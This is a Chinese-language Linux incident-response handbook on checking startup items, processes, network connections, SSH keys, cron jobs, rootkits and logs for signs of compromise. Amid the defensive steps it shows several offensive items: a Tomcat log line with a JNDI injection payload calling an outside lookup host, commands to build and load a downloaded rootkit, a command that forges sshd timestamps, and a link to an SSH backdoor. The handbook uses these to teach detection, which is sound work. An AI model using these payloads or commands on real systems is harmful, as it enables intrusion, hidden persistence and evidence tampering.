# 应急响应手册(更新中) # Linux应急响应 应急响应指遇到重大或突发事件后所采取的措施和行动。应急响应所处置的突发事件不仅仅包括硬件、产品、网络、配置等方面的故障,也包括各类安全事件,如:黑客攻击、木马病毒、勒索病毒、Web攻击等。 **处置手段** 发现问题要处置,遵循原则: - **百分百确认是非法文件,报备记录关停** - **摸棱两可找负责人确认,处置看沟通结果** **环境信息:** - CentOS 7 - XShell **注意:linux版本之间有差异,具体以自己的系统版本为准** ​ ## 开机启动项 伴随开机启动,一般生产服务器很少重启,但是为防止被控机器失联部分木马会添加开机启动项作为复活手段。 ### /etc/rc.local ```bash #!/bin/bash # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES # # It is highly advisable to create own systemd services or udev rules # to run scripts during boot instead of using this file. # # In contrast to previous versions due to parallel execution during boot # this script will NOT be run after all other services. # # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure # that this script will be executed during boot. touch /var/lock/subsys/local ``` 开机时会执行`/etc/rc.local`内的脚本,如:`touch /var/lock/subsys/local`,所以要排查`/etc/rc.local`里是否有可疑脚本 ### /etc/rc.d/rc.local ```bash #!/bin/bash # THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES # # It is highly advisable to create own systemd services or udev rules # to run scripts during boot instead of using this file. # # In contrast to previous versions due to parallel execution during boot # this script will NOT be run after all other services. # # Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure # that this script will be executed during boot. touch /var/lock/subsys/local ``` 与`/etc/rc.local`差不多 ### /etc/rc.d/init.d/ 这个目录通常包含各种系统服务的初始化脚本(init scripts)。 这些脚本用于启动、停止和管理系统上的服务。 ### /etc/rc*.d/ 一堆开机启动的目录 ```bash rc0.d/ rc1.d/ rc2.d/ rc3.d/ rc4.d/ rc5.d/ rc6.d/ rcS.d/ ``` ### systemctl list-unit-files 可以配合`grep`过滤开启中的服务,进行排查 ```bash [root@wzh ~]# systemctl list-unit-files | grep enabled ... ssh.service enabled enabled ssh@.service static enabled sshd.service enabled enabled sudo.service masked enabled syslog.service enabled enabled system-update-cleanup.service static enabled systemd-ask-password-console.service static enabled systemd-ask-password-plymouth.service static enabled systemd-ask-password-wall.service static enabled systemd-backlight@.service static enabled ... ``` 发现恶意服务,使用下面命令关停(以关闭`ufw.service`服务作为实例): ```bash sudo systemctl stop ufw.service # 停止服务 sudo systemctl disable ufw.service # 删除开启启动 ``` 启动服务 ```bash sudo systemctl start ufw.service # 启动服务 sudo systemctl enable ufw.service # 添加开启启动 ``` ​ ## 环境变量配置文件 - `/etc/profile` - `/etc/bashrc` - `/etc/bash.bashrc ` - `~/.bashrc` - `~/.profile ` - `~/.bash_profile` 这些文件用于设置系环境变量或启动程序,每次Linux登入或切换用户都会触发这些文件。
图1 Linux登入环境环境变量触发顺序
切换用户时也会触发环境变量文件: - `/etc/bashrc`全局配置 - `~/.bashrc`本地配置 ```bash [root@wzh ~]# su xunle ``` ### ~/.bash_logout 登出账户时触发。 ```bash [root@wzh ~]# exit ``` ​ ## 各项资源异常 ### 进程 进程是Linux当前正在处理的任务,当运行某个软件时将为其创建一个进程。 `sudo ps -efcaux` # 查看所有进程 ```bash [root@wzh ~]# ps -efcaux ... root 3048 0.0 0.2 1208848 4788 ? Sl 21:05 0:00 \_ evolution-calen root 2920 0.0 0.1 608612 3032 ? Sl 21:05 0:00 gsd-printer colord 2969 0.0 0.1 419484 2620 ? Ssl 21:05 0:00 colord root 3114 0.0 0.0 187400 1512 ? Sl 21:05 0:00 dconf-service root 3119 0.0 0.2 903436 4964 ? Sl 21:05 0:00 evolution-addre root 3273 0.0 0.3 1185668 7432 ? Sl 21:05 0:00 \_ evolution-addre root 3205 0.2 0.4 608364 8764 ? Sl 21:05 0:10 vmtoolsd root 3345 0.0 0.3 525336 6620 ? Sl 21:05 0:00 tracker-store root 3445 0.0 0.1 586304 3292 ? Ssl 21:05 0:00 fwupd root 3879 0.0 0.9 735976 17520 ? Sl 21:06 0:00 gnome-terminal- root 3886 0.0 0.0 8536 476 ? S 21:06 0:00 \_ gnome-pty-helpe root 3887 0.0 0.1 116436 2424 pts/0 Ss+ 21:06 0:00 \_ bash ... ``` 查找进程文件位置 `sudo lsof -p 948` # 查看pid为948的进程详细信息 ```bash [root@wzh ~]# lsof -p 948 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME dockerd 948 root cwd DIR 8,2 4096 2 / dockerd 948 root rtd DIR 8,2 4096 2 / dockerd 948 root txt REG 8,2 95757512 2883867 /usr/bin/dockerd dockerd 948 root mem-W REG 8,2 32768 2231986 /var/lib/docker/buildkit/cache.db ``` `sudo ls -al /proc/948/exe #` 查看pid为948的进程文件绝对路径 ```bash lrwxrwxrwx 1 root root 0 Aug 21 03:24 /proc/948/exe -> /usr/bin/dockerd ``` | 文件 | 作用 | | ------- | ---------------------------------------------- | | cwd | 符号链接(类似快捷方式)的是进程运行目录 | | exe | 符号链接(类似快捷方式)的是执行程序的绝对路径 | | cmdline | 符号链接(类似快捷方式)的是进程运行目录 | | environ | 记录进程运行时系统的环境变量 |
表1 进程符号链接参考
### CPU CPU也称为中央处理器、主处理器或单处理器,是执行计算机指令得关键部件,某服务器突然有一个进程占用的CPU远超平时,那么可能被植入了挖矿病毒。 > 排查话术:CPU是否远超平时居高不下,如果是的话那么可能被植入了挖矿病毒。 `top` # 排名越靠前占用的CPU越多 ![](https://pic.imgdb.cn/item/652c07cac458853aef8f4bc9.jpg)
图2 top命令结果
`ps -ef |grep beam.smp `#列出所有正在运行beam.smp进程的详细信息 ```bash [root@wzh ~]# ps -ef |grep beam.smp 100 3732 2634 1 21:05 ? 00:02:03 /usr/local/lib/erlang/erts-12.0.3/bin/beam.smp -W w -MBas ageffcbf -MHas ageffcbf -MBlmbcs 512 -MHlmbcs 512 -MMmcs 30 -P 1048576 -t 5000000 -stbt db -zdbbl 128000 -sbwt none -sbwtdcpu none -sbwtdio none -B i -- -root /usr/local/lib/erlang -progname erl -- -home /var/lib/rabbitmq -- -pa -noshell -noinput -s rabbit boot -boot start_sasl -lager crash_log false -lager handlers [] root 11523 8572 0 23:16 pts/1 00:00:00 grep --color=auto beam.smp ``` ​ ### 内存 程序启动时会被系统读入内存,在执行的过程也不断的在内存中申请新的空间。 > 排查话术:最近内存是否突然升高持续不下,如果是的话那么可能被植入了挖矿病毒。 `ps -aux | sort -k4nr | head -10` # 列出 CPU 利用率最高的前 10 个进程 ```bash [root@wzh ~]# ps -aux | sort -k4nr | head -10 root 948 0.0 1.9 1308116 78424 ? Ssl 03:24 0:02 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock root 859 0.0 1.2 1355640 51364 ? Ssl 03:24 0:14 /usr/bin/containerd root 851 0.0 1.0 874552 42960 ? Ssl 03:24 0:01 /usr/lib/snapd/snapd root 890 0.0 0.5 107916 20864 ? Ssl 03:24 0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal ... ``` ### 网络带宽 带宽也就是网速的最高上限,比如家里的100/M带宽,就是每秒100M的传输速度,带宽分为上行和下行对应着上传下载,某服务器上行流量比往常高出几倍时,说明在外发大量的数据重点检查是否为正常业务。 > 排查话术:网络流量上下行有异常吗?有异常的话是哪个IP? 网络占用需要安装软件辅助,应急时大部分情况都不允许随意安装软件,这时候就需要和运维的网络沟通,从设备上看下流量情况。 下载iftop: - `sudo apt-get install iftop` - `yum install iftop`(CentOS) 使用`iftop`命令分析网络时,需要指定网卡,一个生产机器服务器会有很多块网卡,有管理用的、业务用的或其它的,这时候要与运维沟通区分各个网卡的用途。 查看所有网卡: - `ip address` - `ifconfig` ```bash [root@wzh ~]# ip address 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: ens33: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 00:0c:29:7e:c9:a5 brd ff:ff:ff:ff:ff:ff inet 192.168.1.131/24 brd 192.168.1.255 scope global noprefixroute ens33 valid_lft forever preferred_lft forever inet6 fe80::7d95:1b7:8637:60a4/64 scope link noprefixroute valid_lft forever preferred_lft forever 3: virbr0: mtu 1500 qdisc noqueue state DOWN group default qlen 1000 link/ether 52:54:00:e0:8d:3a brd ff:ff:ff:ff:ff:ff inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0 valid_lft forever preferred_lft forever 4: virbr0-nic: mtu 1500 qdisc pfifo_fast master virbr0 state DOWN group default qlen 1000 link/ether 52:54:00:e0:8d:3a brd ff:ff:ff:ff:ff:ff 5: docker0: mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:8e:6f:d6:e3 brd ff:ff:ff:ff:ff:ff inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0 valid_lft forever preferred_lft forever 6: br-3491ab5084df: mtu 1500 qdisc noqueue state UP group default link/ether 02:42:0f:a1:3f:52 brd ff:ff:ff:ff:ff:ff inet 172.18.0.1/16 brd 172.18.255.255 scope global br-3491ab5084df valid_lft forever preferred_lft forever inet6 fe80::42:fff:fea1:3f52/64 scope link valid_lft forever preferred_lft forever 8: vetha73a3d9@if7: mtu 1500 qdisc noqueue master br-3491ab5084df state UP group default link/ether 9a:b3:ce:2f:c9:60 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet6 fe80::98b3:ceff:fe2f:c960/64 scope link valid_lft forever preferred_lft forever 10: veth2f1d483@if9: mtu 1500 qdisc noqueue master br-3491ab5084df state UP group default link/ether b2:3a:01:e7:ba:6e brd ff:ff:ff:ff:ff:ff link-netnsid 1 inet6 fe80::b03a:1ff:fee7:ba6e/64 scope link valid_lft forever preferred_lft forever 12: veth2bba833@if11: mtu 1500 qdisc noqueue master br-3491ab5084df state UP group default link/ether ee:6b:8c:6b:3b:83 brd ff:ff:ff:ff:ff:ff link-netnsid 2 inet6 fe80::ec6b:8cff:fe6b:3b83/64 scope link valid_lft forever preferred_lft forever 14: veth8cce382@if13: mtu 1500 qdisc noqueue master br-3491ab5084df state UP group default link/ether 0e:de:88:d2:47:6a brd ff:ff:ff:ff:ff:ff link-netnsid 3 inet6 fe80::cde:88ff:fed2:476a/64 scope link valid_lft forever preferred_lft forever 16: vethb609f10@if15: mtu 1500 qdisc noqueue master br-3491ab5084df state UP group default link/ether 5a:32:f7:9e:8c:91 brd ff:ff:ff:ff:ff:ff link-netnsid 4 inet6 fe80::5832:f7ff:fe9e:8c91/64 scope link valid_lft forever preferred_lft forever ``` `sudo iftop -i ens33 -P` # 指定ens33网卡,分析其流量 ![](https://pic.imgdb.cn/item/652c0779c458853aef8e83d3.jpg)
图3 iftop流量分析
### 网络连接 服务器每发出和接收一个TCP/UDP请求都能看到连接(短时间内)。 netstat 命令: - -a 显示所有 - -n 数字形式展示连接端口 - -t 仅查看TCP连接情况 - -u 仅查看UDP连接情况 - -p 显示相关程序名 `sudo netstat -antup` # 查看所有连接 ```bash [root@wzh ~]# netstat -antup Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 192.168.122.1:53 0.0.0.0:* LISTEN 1613/dnsmasq tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1175/sshd tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN 1166/cupsd tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN 1469/master tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN 4007/sshd: root@pts tcp 0 0 0.0.0.0:5003 0.0.0.0:* LISTEN 2471/docker-proxy tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 619/rpcbind tcp 0 0 192.168.1.131:22 192.168.1.1:18717 ESTABLISHED 4007/sshd: root@pts tcp6 0 0 :::22 :::* LISTEN 1175/sshd tcp6 0 0 ::1:631 :::* LISTEN 1166/cupsd tcp6 0 0 ::1:25 :::* LISTEN 1469/master tcp6 0 0 ::1:6010 :::* LISTEN 4007/sshd: root@pts ... ``` | 状态 | 作用 | | ----------- | ------------------------------------------------ | | LISTEN | 监听TCP端口,等待远程连接 | | TIME-WAIT | 等待一段时间确保远程TCP中断请求 | | ESTABLISHED | 打开着的连接 | | SYN_RECV | 接收和发送连接请求后等待确认连接请求确认的情况。 | | CLOSING | 等待远程TCP对连接中断的确认 | | CLOSE | 连接完全关闭 |
表2 端口状态对照表
### 关闭进程 这里注意一下,关停服务后进程是否会"复活",如果恶意进程被`kill`后重新启动,那么肯定有其它地方有自启动方法,继续排查守护进程、定时任务、系统配置、服务和系统文件。 ```ruby sudo kill -9 1434 ``` ​ ## 威胁情报 威胁情报是识别和分析网络威胁的过程。威胁情报平台可以查出一些域名和IP地址的**信誉度**,一旦发现它们存在网络攻击痕迹迅速封禁。 - [微步在线](https://x.threatbook.com/) - [VirusTotal](https://www.virustotal.com/gui/home/upload) - [安恒威胁分析平台](https://ti.dbappsecurity.com.cn/) - [深信服威胁情报中心](https://ti.sangfor.com.cn/analysis-platform) - [VenusEye威胁情报中心](https://www.venuseye.com.cn/) - [360威胁情报中心](https://ti.360.cn/#/homepage) - [Data Mining for Threat Intelligence](https://www.threatminer.org/) ​ ## SSH SSH(Secure Shell)是一种加密的[网络传输协议](https://zh.wikipedia.org/wiki/网络传输协议),通常利用SSH来传输[命令行界面](https://zh.wikipedia.org/wiki/命令行界面)和远程执行命令。 **排查账户密码** ```bash [root@wzh ~]# cat /etc/passwd root:x:0:0:root:/root:/bin/bash ... sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false xunle:x:1000:1000:CentOS7:/home/xunle:/bin/bash ``` - `/bin/bash` 账户可登录,登录后使用`/bin/bash`解释执行脚本 - `/bin/false` 不可登录,不会有任何提示。 - `/usr/sbin/nologin` 不可登录,拒绝用户登录。 排查的时候可以不用看`/bin/false`和`/usr/sbin/nologin`的账户 **密钥篡改** ```bash vulab@sechelper:~$ cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH9DeY9Ry/8FSlIEKEU/HH2yaPklCf36/ePIW9oS/9i7QklEqvvrPEfhpcSH0by98a+AjktEoUqt3TRLvM4IHtr7/KAP0m8cFyN0wlpvmY2rqwko3kPbaVm4sb8Qxc4IJo/0HjRvTAzNvTzzT7unWLaPZ8vUyrDVooRJWdjwbxpq0wtBvcNci7//145sTocddJDvsnwT7ulE/QIdBWHQdtclUr5zqToSZvslFZHOvoPx34+65R48CrBaucvdBPPslno6FFecQmc0Cy5CSVMr6VM67YdJp/E7RGTyl5M8KlCwXHjEabA9dUaT9oMyoR1Jb1u2m1lZWjAx1PTZ86+22XtskCizG3+hZIdwsSvGwArAhBymnkAsNZso3zqHymbnsnJpZ22FCUs/Gb4YiDjFahC61WsAmfiag6eJwLApfe086QVAcVfSLZQ82ppFRZV79PM+wu2VU0sb1zmj5F97MaF7LbZB4+QPoL9mnpOcRY6Unbs+TFyp7Pp4W8+/HbI5U= ``` **排查是否重装覆盖带后门的SSH** ```bash [root@wzh ~]# ls -lt /usr/bin/ssh /usr/sbin/sshd # 查看ssh创建的时间(不可靠,时间可以被篡改) -rwxr-xr-x. 1 root root 774544 Nov 24 2021 /usr/bin/ssh -rwxr-xr-x. 1 root root 852888 Nov 24 2021 /usr/sbin/sshd [root@wzh ~]# ssh -V #查看SSH版本 OpenSSH_7.4p1, OpenSSL 1.0.2k-fips 26 Jan 2017 ``` `[root@wzh ~]# sudo touch -a -m -t 201512180130.09 /usr/bin/ssh` # 篡改ssh创建时间 参考: - [openssh-backdoor](https://github.com/Psmths/openssh-backdoor) - [ssh服务是如何劫持密码](https://www.cnblogs.com/diantong/p/11452631.html) ​ ## 定时任务 定时定点执行Linux程序或脚本。 **crontab** 定时任务计划命令,下面几个是创建任务后保存的路径。 - `/var/spool/cron/` 目录里的任务以用户命名 - `/etc/crontab` 调度管理维护任务 - `/etc/cron.d/` 这个目录用来存放任何要执行的crontab文件或脚本。 - 下面这些都是检查重点对象 - `/etc/cron.hourly/` 每小时执行一次 - `/etc/cron.daily/` 每天执行一次 - `/etc/cron.weekly/` 每周执行一次 - `/etc/cron.monthly/` 每月执行一次 *扩展知识:* `/etc/cron.allow`存放可创建定时任务账户,一行一个账户名,已创建的定时任务不受影响 ```bash vulab@sechelper:~$sudo cat /etc/cron.allow root vulab@sechelper:~$ crontab -e You (vulab) are not allowed to use this program (crontab) See crontab(1) for more information ``` `/etc/cron.deny` 存放不可创建定时任务账户,一行一个账户名,已创建的定时任务不受影响 ```bash vulab@sechelper:~$ crontab -e You (vulab) are not allowed to use this program (crontab) See crontab(1) for more information ``` 参考: - [定时任务](https://www.runoob.com/w3cnote/linux-crontab-tasks.html) ​ ## Rootkit Rootkit 是指其主要功能为:隐藏其他程序进程的软件,可能是一个或一个以上的软件组合。在今天, Rootkit 一词更多地是指被作为驱动程序,加载到操作系统内核中的恶意软件。 [Rootkit下载](https://github.com/lukasbalazik/1337kit) ```bash vulab@sechelper:~/1337kit$ sudo python3 builder.py --config config.yml # 编译rootkit vulab@sechelper:~/1337kit$ sudo insmod project.ko # 将rootkit安装到内核 vulab@sechelper:~/1337kit$ sudo lsmod # 查看内核模块 vulab@sechelper:~/1337kit$ sudo rmmod project # 卸载内核模块 ``` **检查系统是否被植入Rootkit** ```bash vulab@sechelper:~$ sudo apt install chkrootkit # 安装chkrootkit vulab@sechelper:~$ sudo chkrootkit [sudo] password for vulab: ROOTDIR is `/' Checking `amd'... not found Checking `basename'... not infected Checking `biff'... not found Checking `chfn'... not infected Checking `chsh'... not infected Checking `cron'... not infected ... Searching for suspect PHP files... nothing found Searching for anomalies in shell history files... nothing found Checking `asp'... not infected Checking `bindshell'... not infected Checking `lkm'... chkproc: nothing detected chkdirs: nothing detected Checking `rexedcs'... not found Checking `sniffer'... lo: not promisc and no packet ... Checking `w55808'... not infected Checking `wted'... chkwtmp: nothing deleted Checking `scalper'... not infected Checking `slapper'... not infected Checking `z2'... chklastlog: nothing deleted Checking `chkutmp'... chkutmp: nothing deleted Checking `OSX_RSPLUG'... not tested ``` 有`warning`或者`error`说明检测出 Rootkit ```bash sudo apt install rkhunter # 安装rkhunter vulab@sechelper:~$ sudo rkhunter --check [ Rootkit Hunter version 1.4.6 ] Checking system commands... Performing 'strings' command checks Checking 'strings' command [ OK ] Performing 'shared libraries' checks Checking for preloading variables [ None found ] Checking for preloaded libraries [ None found ] Checking LD_LIBRARY_PATH variable [ Not found ] ... ``` **隐藏的rootkit如何删除** Rootkit在内核模块里找不到,那么就存在删除不掉的可能,这时候需要将感染系统以文件挂载到其它Linux系统上,进行清除操作。 参考: - [rkhunter 官网](http://rkhunter.sourceforge.net/) - [chkrootkit 官网](http://www.chkrootkit.org/) - [rootkit demo](https://github.com/lukasbalazik123/1337kit) ​ ## Linux系统日志排查 日志文件是记录l系统运行信息的文件,Linux系统内记载很多不同类型的日志,例如: - Linux内核消息 - 登入事件 - 程序错误日志 - 软件安装信息 以上日志内记录系统内一些关键的信息,通过这些日志内记录的信息,可以帮助安全人员寻找到攻击者蛛丝马迹。作者整理了以下常见日志信息: `/var/log/dmesg` 内核的一些信息 `/var/log/auth.log` 此文件中包含系统授权信息,以及用户登录和使用的身份验证机制。 `/var/log/boot.log` 包含系统启动时记录的信息 `/var/log/daemon.log` 正在运行的各种系统后台守护程序将信息记录到此文件中。 `/var/log/kern.log` 包含内核记录的信息。有助于解决定制内核的故障。 `/var/log/lastlog` 显示所有用户的最近登录信息。这不是 ascii 文件。管理员可以使用 lastlog 命令查看此文件的内容。 `/var/log/maillog` 和 `/var/log/mail.log` 记录系统上运行的邮件服务器的信息。例如,sendmail 将有关所有已发送项目的信息记录到此文件中。 `/var/log/user.log` 包含有关所有用户级日志的信息。 `/var/log/Xorg.x.log` 将来自 x 服务器的消息记录到此文件。 `/var/log/btmp` 此文件包含有关失败登录尝试的信息。使用最后一个命令查看 btmp 文件。例如,`last -f /var/log/btmp | more`。 `/var/log/yum.log` 包含使用 yum 安装包时记录的信息。在删除具有依赖项的包时,可以引用此文件。 `/var/log/cron` 每当 cron 守护程序(或 anacron)启动 cron 作业时,它都会将有关 cron 作业的信息记录在该文件中。 `/var/log/secure` 包含与身份验证和授权权限相关的信息。例如,sshd 在这里记录所有消息,包括登录失败。 `/var/log/wtmp` - wtmp 文件记录所有登录和注销。 `/var/log/utmp` - utmp 文件允许您发现有关当前使用系统的用户的信息。 `/var/log/faillog` 包含失败的用户登录尝试。使用 faillog 命令显示此文件的内容。 `/var/log/httpd/` 包含 apache web 服务器 access_log 和 error_log 以及相关的虚拟主机日志(如果设置为在此处记录)。 `/var/log/apache2` 包含 apache web 服务器 access_log 和 error_log 以及相关的虚拟主机日志(如果设置为在此处记录)。 `/var/log/conman/` - conman 客户端的日志文件。conman 连接由 conmand 守护进程管理的远程控制台。 `/var/log/mail/` 此子目录包含来自邮件服务器的其他日志。例如,sendmail 将收集的邮件统计信息存储在 `/var/log/mail/statistics` 文件中。 `/var/log/audit/` 包含由 Linux 审核守护程序(auditd)存储的日志信息。 `/var/log/settroubleshoot/` SELinux 使用 settroublishootd(SE Troubleshoot Daemon)来通知文件安全上下文中的问题,并将这些信息记录在此日志文件中。 `/var/log/samba/` 包含 samba 存储的日志信息,用于将 Windows 连接到 Linux。 `/var/log/sa/` 包含 sysstat 包收集的每日 sar 文件。 ### 登入验证日志 **登入失败次数** ```bash vulab@sechelper:/var/log$ sudo grep "Failed password" auth.log | wc -l ``` **登入成功** ```bash vulab@sechelper:/var/log$ sudo grep "password" auth.log | grep -v Failed | grep -v Invalid ``` **统计攻击者IP个数** ```shell vulab@sechelper:/var/log$ sudo awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(ip in ips){print ip, ips[ip]}}' auth.* | wc -l ``` **攻击次数排列,由高到低** ```bash vulab@sechelper:/var/log$ sudo awk '{if($6=="Failed"&&$7=="password"){if($9=="invalid"){ips[$13]++;users[$11]++}else{users[$9]++;ips[$11]++}}}END{for(ip in ips){print ip, ips[ip]}}' auth.* | sort -k2 -rn | head 41.214.134.201 18358 189.217.194.155 9994 218.39.177.111 4713 120.48.13.143 2179 36.138.66.177 1448 139.162.114.41 861 104.248.94.181 756 188.166.57.168 431 141.94.110.90 347 23.224.143.15 307 ``` ### 参考 - https://www.loggly.com/ultimate-guide/linux-logging-basics/ - [查找 ssh 暴力攻击:使用 awk、grep 等命令简单分析服务器](https://segmentfault.com/a/1190000021752790) ​ ## 中间件日志 中间件是介于应用系统和系统软件之间的一类软件,它使用系统软件所提供的基础服务(功能),衔接网络上应用系统的各个部分或不同的应用,能够达到资源共享、功能共享的目的。 **nginx** ```sql 220.181.108.159 - - [01/Dec/2022:15:10:15 +0800] "GET / HTTP/1.1" 403 134 "-" "Mozilla/5.0 (Linux;u;Android 4.2.2;zh-cn;) AppleWebKit/534.46 (KHTML,like Gecko) Version/5.1 Mobile Safari/10600.6.3 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)" ``` **apache** ```sql 192.168.111.1 - - [01/Dec/2022:07:20:05 +0000] "GET /admin.php HTTP/1.1" 404 491 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0" ``` **tomcat** ```makefile 192.168.111.1 - - [01/Dec/2022:08:28:25 +0000] "GET /admin.jsp$%7Bjndi:ldap://2lnhn2.ceye.io%7D HTTP/1.1" 404 767 ``` **分析维度:** - 时间范围内IP访问量 - 时间范围内对某个页面的IP访问量 - 时间范围内IP访问错误数 - 关键字搜索 ### 参考: - [运维必备技能 WEB 日志分析](https://cloud.tencent.com/developer/article/1051427) ​ **本文大部分来自:**[应急响应手册-Linux篇](https://secself.com/d/140-ying-ji-xiang-ying-shou-ce-linuxpian)